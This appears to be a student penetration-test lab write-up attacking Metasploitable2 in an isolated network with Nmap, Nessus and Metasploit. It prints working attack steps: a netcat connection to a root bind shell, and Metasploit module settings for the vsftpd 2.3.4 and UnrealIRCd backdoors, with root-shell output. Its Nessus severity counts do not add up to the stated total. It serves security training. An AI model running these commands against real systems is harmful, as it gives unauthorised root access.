Exploit for nessus-metasploit-pentest CVE-2010-2075 CVE-2011-2523

## https://sploitus.com/exploit?id=344AF37C-35F5-5A70-83E4-B89507233DC0
# Project 7 — Nessus Vulnerability Assessment + Metasploit Exploitation

## Objective
Conduct a full penetration test against Metasploitable2 using professional tools and methodology — Nessus for vulnerability assessment, Metasploit for exploitation, and documented findings in a formal pentest report.

---

## Lab Environment

| Component | Details |
|---|---|
| Attacker | Kali Linux 2026.1 — 192.168.56.102 |
| Target | Metasploitable2 — 192.168.56.101 |
| Network | VirtualBox Host-Only (isolated, no internet exposure) |
| Scanner | Nessus Essentials 10.12.0 |
| Exploit Framework | Metasploit 6.4.116 |

---

## Methodology

```
Reconnaissance → Nmap service scan
      ↓
Vulnerability Assessment → Nessus scan (69 findings, 10 Critical)
      ↓
Manual CVE Research → vsftpd, UnrealIRCd, Bindshell
      ↓
Exploitation → Metasploit + netcat
      ↓
Post-Exploitation → Root access confirmed × 3
      ↓
Reporting → Professional pentest report
```

---

## Reconnaissance Results

**Command:** `nmap -sV 192.168.56.101`

23 open ports identified including:
- 21/tcp — vsftpd 2.3.4 (CVE-2011-2523 backdoor)
- 22/tcp — OpenSSH 4.7p1
- 23/tcp — Telnet (cleartext)
- 80/tcp — Apache 2.2.8
- 1524/tcp — Bindshell (open root shell)
- 5900/tcp — VNC (password: "password")
- 6667/tcp — UnrealIRCd (CVE-2010-2075 backdoor)

---

## Nessus Scan Results

| Severity | Count |
|---|---|
| Critical | 10 |
| High | 6 |
| Medium | 24 |
| Low | 9 |
| Info | 140 |
| **Total** | **69** |

Scan duration: 18 minutes

---

## Exploits Executed

### 1. Bind Shell Backdoor — Port 1524
```bash
nc 192.168.56.101 1524
whoami  # → root
```
No credentials. No exploit. Just connect.

### 2. vsftpd 2.3.4 Backdoor — CVE-2011-2523
```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
run
# → Meterpreter session opened as root
```

### 3. UnrealIRCd Backdoor — CVE-2010-2075
```
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
run
# → root shell, uid=0(root) gid=0(root)
```

---

## Results

All 3 exploits achieved **root access** with no credentials required.

| Exploit | CVE | Result |
|---|---|---|
| Bind Shell (port 1524) | — | Root shell via netcat |
| vsftpd 2.3.4 | CVE-2011-2523 | Meterpreter root session |
| UnrealIRCd 3.2.8.1 | CVE-2010-2075 | Meterpreter root session |

---
## Full Report

See [report/pentest_report.md](report/pentest_report.md) for complete findings, CVSS scores, and remediation recommendations.

---

## Key Learnings

- Manual CVE research before running tools — identified vsftpd and UnrealIRCd backdoors from version numbers alone
- Nessus confirmed manual findings and added 60+ additional findings
- Port 1524 (bindshell) was visible in Nmap as "Metasploitable root shell" — version detection is critical
- Three root shells via three different vectors — real attacker needs only one
- Supply chain attacks (vsftpd, UnrealIRCd) are more dangerous than misconfigurations — backdoors in legitimate software

## Skills Demonstrated

- Nmap reconnaissance and service fingerprinting
- Nessus vulnerability scanning and report analysis
- CVE research and manual vulnerability identification
- Metasploit framework — search, configure, exploit
- Meterpreter post-exploitation
- CVSS scoring and risk prioritisation
- Professional pentest report writing